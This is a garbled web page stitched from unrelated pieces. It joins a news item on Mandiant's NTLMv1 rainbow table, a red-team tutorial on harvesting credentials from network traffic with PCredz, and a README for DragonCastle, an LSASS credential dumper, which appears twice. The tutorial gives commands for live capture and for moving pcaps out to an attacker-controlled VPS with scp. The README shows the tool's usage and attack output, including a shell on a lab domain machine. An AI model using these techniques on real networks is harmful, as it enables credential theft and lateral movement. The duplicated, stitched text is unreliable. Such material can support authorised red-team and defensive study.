Security firm Mandiant has released a database that allows any administrative password protected by Microsoft’s NTLM.v1 hash algorithm to be hacked in an attempt to nudge users who continue using the deprecated function despite known weaknesses.
The database comes in the form of a rainbow table, which is a precomputed table of hash values linked to their corresponding plaintext. These generic tables, which work against multiple hashing schemes, allow hackers to take over accounts by quickly mapping a stolen hash to its password counterpart. NTLMv1 rainbow tables are particularly easy to construct because of NTLMv1’s limited keyspace, meaning the relatively small number of possible passwords the hashing function allows for. NTLMv1 rainbow tables have existed for two decades but typically require large amounts of resources to make any use of them.
New ammo for security pros
On Thursday, Mandiant said it had released an NTLMv1 rainbow table that will allow defenders and researchers (and, of course, malicious hackers, too) to recover passwords in under 12 hours using consumer hardware costing less than $600 USD. The table is hosted in Google Cloud. The database works against Net-NTLMv1 passwords, which are used in network authentication for accessing resources such as SMB network sharing.
Today we are going through another tool that can really help you during your red team engagements. It is called PCredz. PCredz is a powerful credential extraction tool that focuses on pulling sensitive information out of network traffic. According to the project documentation, PCredz can extract credit card numbers, NTLM credentials, Kerberos hashes, HTTP authentication data, SNMP community strings, POP, SMTP, FTP, IMAP and much more from a pcap file or from a live interface. It supports both IPv4 and IPv6. All discovered hashes are shown in formats that work directly with hashcat. For example you can use mode 7500 for Kerberos, 5500 for NTLMv1 and 5600 for NTLMv2. The tool also logs everything into a CredentialDump file and makes it organized so that you can feed it directly into cracking workflows.
In practice this means that if credentials are traversing the network in any recoverable form, PCredz will collect them for you.
Use Cases
So when would you actually use PCredz during a red team engagement?
Imagine you have already gained a foothold somewhere inside a network. At this point, one of your goals is usually to move laterally, escalate privileges, and gain access to more sensitive resources. Network traffic is often full of interesting secrets, especially in environments where encryption is not enforced or where legacy protocols still exist. PCredz becomes very useful when you want to analyze captured pcaps or when you want to quietly listen to live traffic flowing through an interface. If users are authenticating to file shares, web interfaces, legacy applications, email systems or network services, you may see usable credentials. This is particularly realistic on older networks or mixed environments where not everything runs over HTTPS or modern authentication.
Blue teams also use PCredz during compromise assessments to detect insecure authentication flows inside their network. But during red team work, it helps you move further and more silently than noisy active attacks.
Setting Up
There are two main ways to run PCredz. You can run it inside Docker or directly through the Linux console. For this demonstration we will use the console. When you are working on a compromised or fragile machine, you must be careful not to break anything. Many times you will land on an old production server that the business still depends on. For both operational security and stability reasons, it is safer to isolate your tooling. A great way to do that is to create a separate Python 3 virtual environment just for PCredz.
Here is how you create a separate python3 environment and activate it:
We are going to look at PCredz in two ways. First we will use live capture mode so the tool listens directly to the network interface. Then we will see how it works with captured pcaps. Working with pcaps is often more convenient, especially if the system is extremely old or restricted and does not allow you to install dependencies. The tool will automatically parse your files and extract any available credentials.
Live
To run the tool in live mode and capture credentials, use:
bash# > python3 ./Pcredz -i eth0 -v
You can see the name of your network interfaces by running ifconfig. Sometimes you will find several interfaces and you will need to choose the correct one. To reduce noise, try selecting interfaces that sit on private IP ranges. Otherwise you may end up with captures full of random internet scanning traffic. Many automated scripts constantly probe IP ranges looking for weak targets and this junk traffic can pollute your pcaps making them heavier than needed.
PCAPs
If you decide to work offline with pcaps, the first step is usually to exfiltrate the captured files to a machine you control. For example, you can transfer the file to a VPS using scp:
bash# > scp file.pcap root@IP:/tmp
Once the upload is complete, the file will keep its original name and will be located in the specified directory on the remote machine.
Then you can run PCredz in offline mode like this when analyzing a single file:
This approach is especially nice when you want to stay quiet. You collect traffic with tcpdump, move the files out and only analyze them on your own system.
Summary
PCredz is a simple tool. You can gather credentials without interrupting production systems or triggering noisy authentication attacks like relays. A very stealthy approach during a red team engagement is to capture network traffic with tcpdump, exfiltrate the pcaps to your controlled machine, and then run PCredz there. The tool becomes especially effective if you manage to compromise a file server or another system that many Windows machines depend on. These machines constantly receive authentication traffic from users, which means you will likely capture something valuable sooner or later. Once you obtain valid credentials, many new doors open. You may escalate privileges, dump LSASS, schedule malicious certificate requests, or impersonate privileged accounts through legitimate mechanisms. Quite often you will even see HTTP traffic in cleartext reusing the same Active Directory credentials across multiple services. Credential reuse is still very common in the real world.
A PoC that combines AutodialDLL lateral movement technique and SSP to scrape NTLM hashes from LSASS process.
Description
Upload a DLL to the target machine. Then it enables remote registry to modify AutodialDLL entry and start/restart BITS service. Svchosts would load our DLL, set again AutodiaDLL to default value and perform a RPC request to force LSASS to load the same DLL as a Security Support Provider. Once the DLL is loaded by LSASS, it would search inside the process memory to extract NTLM hashes and the key/IV.
The DLLMain always returns False so the processes doesn't keep it.
Caveats
It only works when RunAsPPL is not enabled. Also I only added support to decrypt 3DES because I am lazy, but should be easy peasy to add code for AES. By the same reason, I only implemented support for next Windows versions:
Build
Support
Windows 10 version 21H2
Windows 10 version 21H1
Implemented
Windows 10 version 20H2
Implemented
Windows 10 version 20H1 (2004)
Implemented
Windows 10 version 1909
Implemented
Windows 10 version 1903
Implemented
Windows 10 version 1809
Implemented
Windows 10 version 1803
Implemented
Windows 10 version 1709
Implemented
Windows 10 version 1703
Implemented
Windows 10 version 1607
Implemented
Windows 10 version 1511
Windows 10 version 1507
Windows 8
Windows 7
The signatures/offsets/structs were taken from Mimikatz. If you want to add a new version just check sekurlsa functionality on Mimikatz.
Usage
credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line -dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter -target-ip ip address IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it -local-dll dll to plant DLL location (local) that will be planted on target -remote-dll dll location Path used to update AutodialDLL registry value" dir="auto">
usage: dragoncastle.py [-h] [-u USERNAME] [-p PASSWORD] [-d DOMAIN] [-hashes [LMHASH]:NTHASH] [-no-pass] [-k] [-dc-ip ip address] [-target-ip ip address] [-local-dll dll to plant] [-remote-dll dll location]
DragonCastle - A credential dumper (@TheXC3LL)
optional arguments: -h, --help show this help message and exit -u USERNAME, --username USERNAME valid username -p PASSWORD, --password PASSWORD valid password (if omitted, it will be asked unless -no-pass) -d DOMAIN, --domain DOMAIN valid doma in name -hashes [LMHASH]:NTHASH NT/LM hashes (LM hash can be empty) -no-pass don't ask for password (useful for -k) -k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line -dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter -target-ip ip address IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it -local-dll dll to plant DLL location (local) that will be planted on target -remote-dll dll location Path used to update AutodialDLL registry value</ pre>
Example
Windows server on 192.168.56.20 and Domain Controller on 192.168.56.10:
[+] Connecting to 192.168.56.20 [+] Uploading DragonCastle.dll to c:\dump.dll [+] Checking Remote Registry service status... [+] Service is down! [+] Starting Remote Registry service... [+] Connecting to 192.168.56.20 [+] Updating AutodialDLL value [+] Stopping Remote Registry Service [+] Checking BITS service status... [+] Service is down! [+] Starting BITS service [+] Downloading creds [+] Deleting credential file [+] Parsing creds:
[*] SMBv3.0 dialect used [!] Launching semi-interactive shell - Careful what you execute [!] Press help for extra shell commands C:\>whoami sevenkingdoms\eddard.stark
C:\>whoami /priv
PRIVILEGES INFORMATION ----------------------
Privilege Name Description State ========================================= ================================================================== ======= SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled SeMachineAccountPrivilege Add workstations to domain Enabled SeSecurityPrivilege Manage auditing and security log Enabled SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled SeLoadDriverPrivilege Load and unload device drivers Enabled SeSystemProfilePrivilege Profile system performance Enabled SeSystemtimePrivilege Change the system time Enabled SeProfileSingleProcessPrivilege Profile single process Enabled SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled SeCreatePagefilePrivilege Create a pagefile Enabled SeBackupPrivile ge Back up files and directories Enabled SeRestorePrivilege Restore files and directories Enabled SeShutdownPrivilege Shut down the system Enabled SeDebugPrivilege Debug programs Enabled SeSystemEnvironmentPrivilege Modify firmware environment values Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeRemoteShutdownPrivilege Force shutdown from a remote system Enabled SeUndockPrivilege Remove computer from docking station Enabled SeEnableDelegationPrivilege En able computer and user accounts to be trusted for delegation Enabled SeManageVolumePrivilege Perform volume maintenance tasks Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled SeTimeZonePrivilege Change the time zone Enabled SeCreateSymbolicLinkPrivilege Create symbolic links Enabled SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled
A PoC that combines AutodialDLL lateral movement technique and SSP to scrape NTLM hashes from LSASS process.
Description
Upload a DLL to the target machine. Then it enables remote registry to modify AutodialDLL entry and start/restart BITS service. Svchosts would load our DLL, set again AutodiaDLL to default value and perform a RPC request to force LSASS to load the same DLL as a Security Support Provider. Once the DLL is loaded by LSASS, it would search inside the process memory to extract NTLM hashes and the key/IV.
The DLLMain always returns False so the processes doesn't keep it.
Caveats
It only works when RunAsPPL is not enabled. Also I only added support to decrypt 3DES because I am lazy, but should be easy peasy to add code for AES. By the same reason, I only implemented support for next Windows versions:
Build
Support
Windows 10 version 21H2
Windows 10 version 21H1
Implemented
Windows 10 version 20H2
Implemented
Windows 10 version 20H1 (2004)
Implemented
Windows 10 version 1909
Implemented
Windows 10 version 1903
Implemented
Windows 10 version 1809
Implemented
Windows 10 version 1803
Implemented
Windows 10 version 1709
Implemented
Windows 10 version 1703
Implemented
Windows 10 version 1607
Implemented
Windows 10 version 1511
Windows 10 version 1507
Windows 8
Windows 7
The signatures/offsets/structs were taken from Mimikatz. If you want to add a new version just check sekurlsa functionality on Mimikatz.
Usage
credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line -dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter -target-ip ip address IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it -local-dll dll to plant DLL location (local) that will be planted on target -remote-dll dll location Path used to update AutodialDLL registry value" dir="auto">
usage: dragoncastle.py [-h] [-u USERNAME] [-p PASSWORD] [-d DOMAIN] [-hashes [LMHASH]:NTHASH] [-no-pass] [-k] [-dc-ip ip address] [-target-ip ip address] [-local-dll dll to plant] [-remote-dll dll location]
DragonCastle - A credential dumper (@TheXC3LL)
optional arguments: -h, --help show this help message and exit -u USERNAME, --username USERNAME valid username -p PASSWORD, --password PASSWORD valid password (if omitted, it will be asked unless -no-pass) -d DOMAIN, --domain DOMAIN valid doma in name -hashes [LMHASH]:NTHASH NT/LM hashes (LM hash can be empty) -no-pass don't ask for password (useful for -k) -k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line -dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter -target-ip ip address IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it -local-dll dll to plant DLL location (local) that will be planted on target -remote-dll dll location Path used to update AutodialDLL registry value</ pre>
Example
Windows server on 192.168.56.20 and Domain Controller on 192.168.56.10:
[+] Connecting to 192.168.56.20 [+] Uploading DragonCastle.dll to c:\dump.dll [+] Checking Remote Registry service status... [+] Service is down! [+] Starting Remote Registry service... [+] Connecting to 192.168.56.20 [+] Updating AutodialDLL value [+] Stopping Remote Registry Service [+] Checking BITS service status... [+] Service is down! [+] Starting BITS service [+] Downloading creds [+] Deleting credential file [+] Parsing creds:
[*] SMBv3.0 dialect used [!] Launching semi-interactive shell - Careful what you execute [!] Press help for extra shell commands C:\>whoami sevenkingdoms\eddard.stark
C:\>whoami /priv
PRIVILEGES INFORMATION ----------------------
Privilege Name Description State ========================================= ================================================================== ======= SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled SeMachineAccountPrivilege Add workstations to domain Enabled SeSecurityPrivilege Manage auditing and security log Enabled SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled SeLoadDriverPrivilege Load and unload device drivers Enabled SeSystemProfilePrivilege Profile system performance Enabled SeSystemtimePrivilege Change the system time Enabled SeProfileSingleProcessPrivilege Profile single process Enabled SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled SeCreatePagefilePrivilege Create a pagefile Enabled SeBackupPrivile ge Back up files and directories Enabled SeRestorePrivilege Restore files and directories Enabled SeShutdownPrivilege Shut down the system Enabled SeDebugPrivilege Debug programs Enabled SeSystemEnvironmentPrivilege Modify firmware environment values Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeRemoteShutdownPrivilege Force shutdown from a remote system Enabled SeUndockPrivilege Remove computer from docking station Enabled SeEnableDelegationPrivilege En able computer and user accounts to be trusted for delegation Enabled SeManageVolumePrivilege Perform volume maintenance tasks Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled SeTimeZonePrivilege Change the time zone Enabled SeCreateSymbolicLinkPrivilege Create symbolic links Enabled SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled
Login
